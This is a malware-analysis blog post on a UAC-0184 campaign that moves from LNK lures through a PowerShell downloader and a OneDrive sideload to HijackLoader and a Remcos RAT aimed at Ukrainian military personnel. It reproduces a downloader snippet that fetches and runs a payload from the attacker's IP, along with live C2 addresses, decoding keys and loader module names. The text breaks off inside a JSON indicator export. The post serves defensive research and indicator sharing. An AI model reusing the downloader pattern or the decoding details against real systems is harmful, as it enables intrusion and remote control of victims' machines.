UAC-0184 Tooling Evolution: OneDrive Sideload to Remcos

by Robin Dost


Malware: HijackLoader / IDATLoader -> Remcos Agent 7.1.0 Pro
Actor tracking: UAC-0184 / MB-0005
Related analysis: UAC-0184: From HTA to a Signed Network Stack
A YARA rule for this sample is available on request: contact@robin-dost.de.

In my previous UAC-0184 analysis, I documented a loader chain built around a legitimate Plane9 application, several local payload containers and a pseudo-PNG file carrying additional stages inside its IDAT chunks.

That chain eventually unpacked a collection of signed utilities and a PassMark network component.

The sample analyzed in this article uses a visibly different delivery package and ends with a much clearer final payload.
Plane9 has been replaced with Microsoft OneDrive components, the local container names have changed and the campaign now delivers a fully configured Remcos Agent.

Underneath those changes, however, much of the loader architecture remains familiar.

The result is a useful example of tooling evolution for us: the exterior rotated, while the more expensive internal loading pipeline was retained.

Starting with the initial archive

The initial archive is named:

spisokszch.zip

with the SHA256

c74bb6fb848cdb87c2b4261da1efc078023cdf95aa7b1436c52c26f3a11025af

It contains five files:

JPG_012.jpg.lnk
JPG_013.jpg.lnk
JPG_014.jpg.lnk
spisokszch.xlsx.lnk
README.txt

Despite their names, none of the four apparent image or spreadsheet files are actual documents.

They are Windows shortcut files.

The archive therefore presents the victim with three apparent JPG images and one Excel workbook, while Windows may hide the final .lnk extension depending on the local Explorer configuration.
The accompanying README.txt is written in Ukrainian and instructs the recipient to extract the files to the desktop before opening them:

Інструкція як відкрити файли

1. Витягніть їх з архіву (розпакуйте) на робочий стіл. Якщо Ви будете відкривати їх всередині архіву, то вони не відкриються

2. Двічі клацніть по розпакованих файлах

--- EN

Instructions for opening the files:

1. Extract them from the archive to the desktop.
   They will not open if launched from inside the archive.

2. Double-click the extracted files.

This instruction is operationally useful for the attacker.

Launching shortcuts directly from an archive can behave differently depending on the archive utility and extraction context. Asking the victim to extract everything first ensures that the LNK files are placed together on disk and executed in a predictable environment.

It also gives the request a legitimate explanation: the files supposedly need to be unpacked because they cannot be opened from inside the ZIP.

Four lures, one execution pattern

Each LNK launches cmd.exe with delayed variable expansion enabled.

The command reconstructs the string:

MSXML2.XMLHTTP

from two smaller variables:

MSXM
L2.XML

It then writes a temporary VBScript that:

  1. creates an MSXML2.XMLHTTP object;
  2. performs an HTTP GET request;
  3. sets a Windows PowerShell-style User-Agent;
  4. writes the response using ADODB.Stream;
  5. saves it as a temporary .ps1 file.

The shortcut subsequently executes the VBScript through cscript, launches the downloaded PowerShell file with a hidden window and deletes both temporary files.

The effective flow is:

The split strings and wildcard-heavy Get-Command expression are not sophisticated obfuscation.
They are enough, however, to break simple searches for complete API names or common PowerShell download commands.

The four shortcuts reference four separate PowerShell URLs:

JPG_012.jpg.lnk
-> http://144.31.236.240/szch45/ritecommunion.ps1

JPG_013.jpg.lnk
-> http://144.31.236.240/szch45/shoutnewspaper.ps1

JPG_014.jpg.lnk
-> http://144.31.236.240/szch45/hintprefix.ps1

spisokszch.xlsx.lnk
-> http://144.31.236.240/szch45/collectivisationgown.ps1

The PowerShell downloaders

The recovered PowerShell stages are almost identical.

They first check whether the secondary archive already exists:

szch45clusterhum.zip

If it does not, they download it from:

http://144.31.236.240/szch45clusterhum.zip

The scripts use an obfuscated Get-Command expression to resolve Invoke-WebRequest, then save the ZIP into the current working directory.

They subsequently extract the archive into:

MSWinDistro

Finally, they execute:

MSWinDistro/ClusterHub.exe

and open one of the decoy images / document included in the downloaded ZIP.

The difference between the recovered scripts is the decoy selected after execution:

ritecommunion.ps1
-> JPG_012.jpg

shoutnewspaper.ps1
-> JPG_013.jpg

hintprefix.ps1
-> JPG_014.jpg

collectivisationgown.ps1
-> spisokszch.xlsx

The behavior can be simplified to:

if (!(Test-Path "szch45clusterhum.zip")) {
    Invoke-WebRequest `
        -Uri "http://144.31.236.240/szch45clusterhum.zip" `
        -OutFile "szch45clusterhum.zip"
}

Expand-Archive `
    "szch45clusterhum.zip" `
    -DestinationPath "MSWinDistro"

Start-Process "MSWinDistro/ClusterHub.exe"
Start-Process "MSWinDistro/JPG_012.jpg"

The scripts subsequently execute:

MSWinDistro/ClusterHub.exe

and attempt to open one of the files carrying a .jpg extension.

The difference between the two recovered scripts is the selected file:

ritecommunion.ps1
-> JPG_012.jpg

shoutnewspaper.ps1
-> JPG_013.jpg

However, the files are not valid JPEG images.
Their headers resemble deliberately corrupted or incomplete PNG signatures and standard file identification reports them only as generic data.

The PowerShell start command therefore only proves that Windows is instructed to open the files through the registered .jpg handler. It does not prove that a valid image is displayed to the victim.

No static reference indicating that ClusterHub.exe repairs or decrypts these files was identified in the analyzed loader components.
They may serve as malformed decoys, auxiliary containers or artifacts intended to create visible activity while the sideload chain starts in parallel.

Delivery and C2 on the same server

The IP address:

144.31.236.24

appears throughout the chain.

It hosts:

/szch45/ritecommunion.ps1
/szch45/shoutnewspaper.ps1
/szch45/hintprefix.ps1
/szch45/collectivisationgown.ps1
/szch45clusterhum.zip

The final Remcos configuration also points back to the same address:

144.31.236.240:27018

This means the observed server performs at least two operational roles:

HTTP payload delivery
-> TCP Remcos command and control

There is no domain, redirector or separate delivery layer in the recovered artifacts.

The shortcuts connect directly to an IP address, the PowerShell scripts retrieve the second archive directly from the same IP and the final payload is configured to use that IP for C2.

From an operational-security perspective, this is convenient but noisy.

A single infrastructure indicator links the initial downloader, the secondary archive and the final malware controller.

I’m familiar with this subnet (AS202226) and fairly confident about the provider behind this IP address: h2.nexus.
They offer cheap Windows Server hosting that can be paid for via cryptocurrency and they also support anonymous purchases through a Telegram bot.

In the last few samples i’ve analyzed they used a different Provider (Kraken-Network ISP).
This was consistent for some time now, but now we see a change, this change also has to do with the deployment of Remcos V2, because they need a Windows VPS for hosting their C2 Center.

The full chain

The complete execution sequence becomes:

Yeah, i know, the chain is long…

… but each layer solves a specific problem:

  • the initial ZIP provides the lure context;
  • the LNK files hide executable command lines behind document names;
  • the temporary VBScript performs the first download;
  • PowerShell downloads and extracts the larger package;
  • the legitimate OneDrive binary provides the sideload host;
  • local .sym and .map files hide the encoded stages;
  • the HijackLoader bundle handles modular execution;
  • Remcos provides the final remote-access capability.

Inside szch45clusterhum.zip

The second archive contains the following relevant files:

ClusterHub.exe
LoggingPlatform.dll
UpdateRingSettings.dll
monitor_base.sym
physicsdesc.map

JPG_012.jpg
JPG_013.jpg
JPG_014.jpg
spisokszch.xlsx

It also contains several Microsoft Visual C++ runtime libraries:

msvcp140.dll
msvcp_win.dll
ucrtbase.dll
vcruntime140.dll
vcruntime140_1.dll

This makes the directory look like a self-contained Windows application package.

The filenames UpdateRingSettings.dll and LoggingPlatform.dll fit naturally into a Microsoft software environment. The .sym and .map extensions can easily be dismissed as symbols, diagnostics or application metadata.

The decoy files also match the names presented by the original shortcuts.

The initial lure archive contains:

JPG_012.jpg.lnk

while the downloaded archive contains:

JPG_012.jpg

The PowerShell stage starts the malware and then opens the corresponding real image.

It’s actually not only filename masquerading, it’s a complete handoff from a fake shortcut to the real decoy document.

The OneDrive disguise

ClusterHub.exe is not a custom loader built from scratch.

Internally, it contains extensive Microsoft OneDrive and OneDrive Patcher strings, including:

OneDrivePatcher.exe
Microsoft.OneDrive.Sync.Client
UpdateRingSettings.dll
LoggingPlatform.DLL

The associated DLLs also retain legitimate-looking OneDrive symbols and type information.

This gives the package a much cleaner appearance than a random unsigned executable surrounded by several encrypted payloads.

ClusterHub.exe loads UpdateRingSettings.dll, which acts as the malicious loader component. LoggingPlatform.dll is also part of the local dependency chain and appears to preserve or forward expected functionality.

The attacker therefore did not only choose a signed executable that happens to search its local directory for a DLL.
They packaged the malicious loader inside a coherent collection of OneDrive-related components.

That is the first major visual change compared with the previous sample.
The earlier chain used a Plane9 application, the new chain uses Microsoft OneDrive software.

The two files that matter

The main local payload containers are:

monitor_base.sym
physicsdesc.map

Neither file is what its extension suggests.
Both begin with large amounts of printable filler, making them appear text-like when inspected superficially.


The relevant structures are located further inside the files.
The local loading sequence can be reduced to:

This is where the similarities to the previous UAC-0184 sample become difficult to ignore.

monitor_base.sym: the small loader stage

monitor_base.sym is approximately 35 KB.

Most of its beginning consists of filler.
At offset 0x6BD8, the file contains a small structure describing the encoded payload:

Decoded size: 0x2084
Key:          0x3A12EA50

The following data is decoded by adding the key to each 32-bit value.
The result is 8,324 bytes of x64 shellcode.
No complex encryption is involved at this stage.
It is a simple DWORD addition operation.
The decoded shellcode contains several useful strings:

tapisrv.dll
IDAT
IEND
PNG
GET
http
Rtl...

The IDAT, IEND and PNG strings reveal the purpose of the next stage.
The shellcode searches for and processes PNG-style chunks inside physicsdesc.map.
The references beginning with Rtl also lead to the later use of RtlDecompressBuffer.

physicsdesc.map: another image that is not an image

The larger physicsdesc.map file is approximately 1.36 MB.
It does not begin with a valid PNG signature.
Instead, the file starts with another large filler region. The first real PNG-style IDAT chunk appears at offset:

0x4052

From this position onward, the file contains:

164 × IDAT chunks
1 × IEND chunk

Most IDAT chunks contain 8,192 bytes.
The file is not a valid image, but enough of the internal PNG chunk structure is retained for the shellcode to parse it.
The loader searches using a pattern equivalent to:

????IDAT

The four wildcard bytes correspond to the big-endian chunk length preceding the IDAT type.
The shellcode concatenates the data areas of all matching chunks and interprets the first 16 bytes of the resulting stream as metadata.

For this sample, the recovered values are:

Marker:             0xEA79A5C6
DWORD XOR key:      0x54EBEC5E
Compressed size:    0x145E3A
Decompressed size:  0x20AE58

The following payload data is XORed DWORD by DWORD using:

0x54EBEC5E

The XOR output is then decompressed using:

RtlDecompressBuffer
CompressionFormat = 2

Compression format 2 corresponds to:

COMPRESSION_FORMAT_LZNT1

The final decompressed bundle is approximately 2.14 MB.

The same loader architecture

This is the clearest technical connection to the previous sample.

The earlier chain:

The new chain:

The values changed:

  • different filenames;
  • different offsets;
  • different arithmetic keys;
  • different XOR keys;
  • different IDAT count;
  • different decompressed payload.

The architecture did not.

Both chains use:

  • a small local file containing arithmetic-encoded shellcode;
  • a larger secondary container with a printable filler prefix;
  • PNG-style IDAT chunks without a valid PNG header;
  • concatenation of chunk data;
  • fixed 32-bit XOR decoding;
  • Windows LZNT1 decompression;
  • a larger modular payload bundle;
  • execution through a legitimate software package.

This is a much more useful tracking characteristic than a filename or hash.
Hashes disappear when the sample is rebuilt.
The loader architecture requires actual development work to replace.

A 35-module HijackLoader bundle

The decompressed output contains a table of 35 named modules.

Relevant entries include:

LauncherLdr64

modCreateProcess
modCreateProcess64

modTask
modTask64

modUAC
modUAC64

modWD
modWD64

modWriteFile
modWriteFile64

rshell
rshell64

ti
ti64

CUSTOMINJECT
CUSTOMINJECTPATH

PERSDATA

The module names expose the frameworks modular design.

There are separate 32-bit and 64-bit components for:

  • process creation;
  • scheduled-task execution;
  • UAC-related functionality;
  • Windows Defender interaction;
  • writing files;
  • reverse-shell execution;
  • custom injection.

The observed format is consistent with HijackLoader, also tracked as IDATLoader.

The IDAT container is therefore not an isolated packer trick.
It belongs to a wider modular loader framework that can deploy different components and final payloads depending on its configuration.

Embedded PE files inside the loader bundle

The 35 module entries do not represent 35 standalone executables.

Many of them are shellcode fragments, configuration blocks or small architecture-specific routines. However, a structural scan of the fully decompressed HijackLoader bundle recovered eight complete PE files.

These files were carved from the same LZNT1-decompressed bundle described above, not from the final Remcos payload.

Embedded PEArchitectureInternal role or identification
tcpvcon.exex86Microsoft Sysinternals TCPView Console
FIXEDx86Info-ZIP-based archive utility
LauncherLdr64x6464-bit launcher component
tinystubx8632-bit execution stub
tinystub64x6464-bit execution stub
tinyutilitymodule.dllx8632-bit utility DLL
tinyutilitymodule64.dllx6464-bit utility DLL
CUSTOMINJECTx86 GUIHearthstoneDeckTracker.exe, likely used as the CUSTOMINJECT host

These files were carved from the fully decompressed HijackLoader bundle, not from the final Remcos payload.

Seven of the eight PE offsets correspond directly to entries in the recovered 35-module table.
The exception is tcpvcon.exe, which is stored near the beginning of the decompressed bundle before the named module data.

The first embedded executable is the legitimate Microsoft Sysinternals TCPView Console utility. Its original strings and license resources remain intact, including:

Usage: tcpvcon [-a] [-c] [-n] [process name or PID]

The module named FIXED contains Info-ZIP strings and appears to be a bundled or modified ZIP command-line utility.

The remaining binaries form part of the loaders execution and injection framework, with separate components for 32-bit and 64-bit systems.

The final carved PE is a legitimate copy of HearthstoneDeckTracker.exe. Its placement within the bundle suggests that it may be used as a host process for the loaders CUSTOMINJECT execution path, rather than being the injector itself.

Importantly, this executable is not the final Remcos payload!
Remcos is stored separately in an encrypted tail region and only becomes a valid PE after applying the repeating 200-byte XOR layer and removing the leading key area.

This distinction shows that the decompressed stage is not simply a packed RAT. It is a complete deployment framework containing legitimate utilities, architecture-specific loaders, execution stubs and a signed host process for custom injection around the separately encrypted final payload.

A retained internal deployment path

One configuration value is especially interesting:

%windir%\SysWOW64\input.dll

The same destination also appeared in the previous UAC-0184 sample.
In the earlier chain, input.dll belonged to the PassMark-based execution stack and was deployed together with VSLauncher.exe.
The new loader bundle again contains the same input.dll path.
This is a stronger tooling connection than the generic use of DLL sideloading.
The external software stack changed from Plane9 to OneDrive, but part of the internal deployment logic remained intact.
That is often how real tooling evolution looks.

Operators rotate the components most visible to defenders while retaining internal routines, path conventions and loader modules that continue to work.

The final encrypted region

The modular bundle contains another encrypted area of approximately 514 KB.

Its first 200 bytes form the XOR key.

Applying those 200 bytes cyclically to the complete encrypted region turns the key area into zeroes. A valid PE file begins immediately afterward at offset:

0xC8

The recovered executable identifies itself as:

Remcos Agent 7.1.0 Pro

Unlike the final stage in the previous sample, this leaves little ambiguity about the intended capability.
HijackLoader handles staging and execution.
Remcos provides the remote-access functionality.

Recovering the Remcos configuration

The Remcos executable contains a resource named:

SETTINGS

The resource uses RC4 encryption and follows a simple structure:

1 byte      key length
62 bytes    RC4 key
remaining   encrypted configuration

Decrypting the resource produces 58 configuration fields.

Relevant values include:

C2:               144.31.236.240:27018
Install filename: remcos.exe
Mutex:            Rmc-X5JFP2
Log filename:     logs.dat
Screenshot path:  Screenshots
Microphone path:  MicRecords

The key difference from the previous sample is the presence of a clear, statically recoverable controller.
The earlier PassMark-based bundle did not expose an unambiguous external C2 endpoint in the analyzed artifacts.

This Remcos configuration does:

144.31.236.240:27018

The address is the same server used by the LNK shortcuts and PowerShell downloaders.

The decoy material

The secondary archive includes three image files:

JPG_012.jpg
JPG_013.jpg
JPG_014.jpg

and one spreadsheet:

spisokszch.xlsx

The Excel sheet spisokszch.xlsx is an internal Ukrainian military roster of AWOL/desertion cases (СЗЧ): 39 soldiers with names, ranks, AWOL dates, order and criminal case number and status.
In this redacted version, all names, case/order numbers and unit IDs are removed by me, since I don’t know if this file is authentic.

These file names correspond directly to the initial LNK lures.
The recovered PowerShell scripts explicitly open either JPG_012.jpg or JPG_013.jpg after starting ClusterHub.exe.
The images therefore serve as visible decoys.
The spreadsheet is a valid workbook containing a single sheet with 108 used rows.

Its content relates to Ukrainian military administration and includes fields such as:

  • military rank;
  • full name;
  • date of unauthorized absence;
  • date of return;
  • appointment and result order numbers;
  • referrals to the State Bureau of Investigation;
  • ERDR case information;
  • current location or status.

The workbook contains personal information, so individual rows and names are intentionally not reproduced here.
The targeting context is nevertheless clear.
It relates to Ukrainian military personnel and unauthorized absence cases.
The document may have been created as a tailored lure, modified from an existing document or reused after being obtained elsewhere.
The artifact alone does not establish which scenario is correct.
It does demonstrate that the delivery package was prepared for a specific Ukrainian military-administrative audience.

What changed from the previous sample?

The tooling evolution becomes easier to see side by side.

ComponentPrevious sampleNew sample
Initial lureLNK leading to gated HTA stagesZIP containing four document-named LNK files
First downloaderbitsadmin / mshta.execmd.exe → temporary VBScript → PowerShell
Delivery server169.40.135.35144.31.236.240
Secondary archivedctrprraclus.zipszch45clusterhum.zip
Extraction directory%APPDATA%\ApplicationData32MSWinDistro
Visible hostPlane9 / Cluster-Overlay64.exeOneDrive Patcher renamed ClusterHub.exe
Loader DLLsPlane9Engine.dll, openvr_api.dll, evr.dllUpdateRingSettings.dll, LoggingPlatform.dll
Small containerkernel-diag.libmonitor_base.sym
Large containerfilter.binphysicsdesc.map
Container designFake prefix plus PNG IDAT chunksFake prefix plus PNG IDAT chunks
Initial decodingDWORD additionDWORD addition
Main decodingDWORD XORDWORD XOR
CompressionLZNT1LZNT1
BundleEight carved PEs and PassMark stack35 named HijackLoader modules
Reused path%windir%\SysWOW64\input.dll%windir%\SysWOW64\input.dll
Final capabilitySigned network-capable utility stackRemcos Agent 7.1.0 Pro
Static C2Not recovered144.31.236.240:27018

The delivery mechanism changed more substantially than the internal decoding pipeline.
The previous chain relied on HTA files and a gated delivery path.
The new sample uses document-named shortcuts, a temporary VBScript downloader and small PowerShell stages

Once ClusterHub.exe starts, however, the chain returns to a familiar design.
This suggests that the delivery mechanism and the core loader can be changed independently.
The actor can replace the initial access package without rebuilding the complete payload framework.

Infrastructure Intelligence Model chain

The observed infrastructure and artifact flow can be represented as the following IIM chain:

[ENTRY]
spisokszch.zip
    ├── README.txt
    ├── JPG_012.jpg.lnk
    ├── JPG_013.jpg.lnk
    ├── JPG_014.jpg.lnk
    └── spisokszch.xlsx.lnk

[STAGING]
JPG_012.jpg.lnk
    └── downloads /szch45/ritecommunion.ps1

JPG_013.jpg.lnk
    └── downloads /szch45/shoutnewspaper.ps1

JPG_014.jpg.lnk
    └── downloads /szch45/hintprefix.ps1

spisokszch.xlsx.lnk
    └── downloads /szch45/collectivisationgown.ps1

[DELIVERY INFRASTRUCTURE]
144.31.236.240
    ├── hosts PowerShell stages
    └── hosts /szch45clusterhum.zip

[SECONDARY STAGING]
PowerShell stage
    └── downloads szch45clusterhum.zip
            ├── ClusterHub.exe
            ├── UpdateRingSettings.dll
            ├── LoggingPlatform.dll
            ├── monitor_base.sym
            └── physicsdesc.map

[LOADER PIPELINE]
ClusterHub.exe
    └── executes UpdateRingSettings.dll
            └── decodes monitor_base.sym
                    └── parses physicsdesc.map
                            └── reconstructs HijackLoader bundle

[PAYLOAD]
HijackLoader bundle
    └── decodes Remcos Agent 7.1.0 Pro

[C2]
Remcos
    └── 144.31.236.240:27018

(IIM view in KRAKEN)

If you want to work with the chain yourself, here’s the JSON.

Click to view Chain as JSON
{
  "actor_id": "UAC-0184",
  "attack_annotations": [
    {
      "name": "Malicious File",
      "technique_id": "T1204.002"
    },
    {
      "name": "PowerShell",
      "technique_id": "T1059.001"
    },
    {
      "name": "Mshta / signed binary proxy execution context not used in this sample; retained only for comparison",
      "technique_id": "T1218.005",
      "x_comparison_only": true
    },
    {
      "name": "DLL Side-Loading",
      "technique_id": "T1574.002"
    },
    {
      "name": "Deobfuscate/Decode Files or Information",
      "technique_id": "T1140"
    },
    {
      "name": "Embedded Payloads",
      "technique_id": "T1027.009"
    },
    {
      "name": "Process Injection",
      "technique_id": "T1055"
    }
  ],
  "chain": [
    {
      "entity_id": "e_initial_zip",
      "role": "entry",
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "techniques": [
        "IIM-T024"
      ]
    },
    {
      "entity_id": "e_readme",
      "role": "entry",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_lnk_012",
      "role": "entry",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_lnk_013",
      "role": "entry",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_lnk_014",
      "role": "entry",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_lnk_xlsx",
      "role": "entry",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_ps1_rite_url",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_ps1_shout_url",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_ps1_hint_url",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_ps1_collect_url",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_rite_ps1",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_shout_ps1",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_delivery_ip",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_payload_zip_url",
      "role": "staging",
      "role_confidence": "confirmed",
      "technique_confidence": "likely",
      "techniques": [
        "IIM-T024"
      ]
    },
    {
      "entity_id": "e_payload_zip",
      "role": "staging",
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "techniques": [
        "IIM-T024"
      ]
    },
    {
      "entity_id": "e_clusterhub",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_update",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_logging",
      "role": "staging",
      "role_confidence": "likely",
      "techniques": []
    },
    {
      "entity_id": "e_monitor",
      "role": "staging",
      "role_confidence": "confirmed",
      "technique_confidence": "tentative",
      "techniques": [
        "IIM-T025"
      ]
    },
    {
      "entity_id": "e_shellcode",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_physics",
      "role": "staging",
      "role_confidence": "confirmed",
      "technique_confidence": "tentative",
      "techniques": [
        "IIM-T025"
      ]
    },
    {
      "entity_id": "e_idat_stream",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_hijack_bundle",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_inputdll",
      "role": "staging",
      "role_confidence": "likely",
      "techniques": []
    },
    {
      "entity_id": "e_remcos",
      "role": "payload",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_c2",
      "role": "c2",
      "role_confidence": "confirmed",
      "techniques": []
    }
  ],
  "chain_id": "uac-0184-onedrive-sideload-remcos-2026-06",
  "confidence": "confirmed",
  "description": "Ukraine-themed archive containing document- and image-named LNK files. The shortcuts retrieve PowerShell downloaders from 144.31.236.240, which download and extract szch45clusterhum.zip, execute a OneDrive Patcher-based sideload chain, decode local pseudo-PNG IDAT containers through DWORD arithmetic and LZNT1, load a 35-module HijackLoader bundle and recover Remcos Agent 7.1.0 Pro configured for 144.31.236.240:27018.",
  "entities": [
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_initial_zip",
      "type": "file",
      "value": "spisokszch.zip",
      "x_sha256": "c74bb6fb848cdb87c2b4261da1efc078023cdf95aa7b1436c52c26f3a11025af"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_readme",
      "type": "file",
      "value": "README.txt",
      "x_language": "Ukrainian",
      "x_lure_instruction": "Extract the files to the desktop and open them outside the archive",
      "x_sha256": "86bac1444fef0b07eec10dcd4a5859a2296954f6b5a36690dc7c27e2931b9ccc"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_lnk_012",
      "type": "file",
      "value": "JPG_012.jpg.lnk",
      "x_sha256": "bb40c9d8c217516a92a18a1bdb080a5af92cfafe81f6751dea665e3e78cb4851"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_lnk_013",
      "type": "file",
      "value": "JPG_013.jpg.lnk",
      "x_sha256": "fe38e54bedee074825eb3fcbe4824ed203876692a424e0c183e0006b31d1b7a8"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_lnk_014",
      "type": "file",
      "value": "JPG_014.jpg.lnk",
      "x_sha256": "a8d0a03543db29d279175c9679eba574dcb7a17e306195a68ab1d033ee2be01c"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_lnk_xlsx",
      "type": "file",
      "value": "spisokszch.xlsx.lnk",
      "x_sha256": "6754f3854680767a394b22090f277fc53ec5a242faff54bf233084da5989c3ef"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_ps1_rite_url",
      "type": "url",
      "value": "http://144.31.236.240/szch45/ritecommunion.ps1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_ps1_shout_url",
      "type": "url",
      "value": "http://144.31.236.240/szch45/shoutnewspaper.ps1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_ps1_hint_url",
      "type": "url",
      "value": "http://144.31.236.240/szch45/hintprefix.ps1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_ps1_collect_url",
      "type": "url",
      "value": "http://144.31.236.240/szch45/collectivisationgown.ps1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_rite_ps1",
      "type": "file",
      "value": "ritecommunion.ps1",
      "x_decoy": "JPG_012.jpg",
      "x_sha256": "adf2c6f80229677615358b56f329aba9c3e9e009d9ca6d6deb0b805e6e212dbc"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_shout_ps1",
      "type": "file",
      "value": "shoutnewspaper.ps1",
      "x_decoy": "JPG_013.jpg",
      "x_sha256": "43579dd80314b6de4a1ca4e40b53ef0376a2ab55d50c8368e0b26af0af0d08c7"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_delivery_ip",
      "type": "ip",
      "value": "144.31.236.240",
      "x_delivery_paths": [
        "/szch45/ritecommunion.ps1",
        "/szch45/shoutnewspaper.ps1",
        "/szch45/hintprefix.ps1",
        "/szch45/collectivisationgown.ps1",
        "/szch45clusterhum.zip"
      ]
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_payload_zip_url",
      "type": "url",
      "value": "http://144.31.236.240/szch45clusterhum.zip"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_payload_zip",
      "type": "file",
      "value": "szch45clusterhum.zip",
      "x_sha256": "fee96a66a8c143ff4f172963a56a813427a65dad7758834bb3283685a37df633"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_clusterhub",
      "type": "file",
      "value": "ClusterHub.exe",
      "x_execution_path": "MSWinDistro/ClusterHub.exe",
      "x_legitimate_software": "Microsoft OneDrive Patcher",
      "x_sha256": "a11339f52a3b31d5a1f134e19bfc83d260ccbde4f14b14889bd824cc636c9a93"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_update",
      "type": "file",
      "value": "UpdateRingSettings.dll",
      "x_role_note": "Sideloaded loader DLL",
      "x_sha256": "da48273d7d4ab1d71ecf50fec0a58884ddb2baf18d872f25cab3637519ef71d7"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_logging",
      "type": "file",
      "value": "LoggingPlatform.dll",
      "x_role_note": "Companion/forwarder DLL",
      "x_sha256": "c0713fd808170f2204a9bc091288e358c5f3266bf99a44f3a36a7ccc03732bb1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_monitor",
      "type": "file",
      "value": "monitor_base.sym",
      "x_decoder": "DWORD addition at offset 0x6BD8; decoded size 0x2084; key 0x3A12EA50"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_shellcode",
      "type": "file",
      "value": "monitor_base.sym decoded x64 shellcode",
      "x_parser_marker": "????IDAT",
      "x_size_bytes": 8324,
      "x_stomping_library": "tapisrv.dll"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_physics",
      "type": "file",
      "value": "physicsdesc.map",
      "x_first_idat_offset": "0x4052",
      "x_format": "Noise prefix followed by 164 PNG-style IDAT chunks and IEND"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_idat_stream",
      "type": "file",
      "value": "physicsdesc.map concatenated IDAT stream",
      "x_compressed_size": "0x145E3A",
      "x_compression": "LZNT1",
      "x_decompressed_size": "0x20AE58",
      "x_dword_xor_key": "0x54EBEC5E",
      "x_marker": "0xEA79A5C6"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_hijack_bundle",
      "type": "file",
      "value": "HijackLoader / IDATLoader modular bundle",
      "x_module_count": 35,
      "x_modules": [
        "ti",
        "ti64",
        "rshell",
        "rshell64",
        "modUAC",
        "modUAC64",
        "modWD",
        "modWD64",
        "modTask",
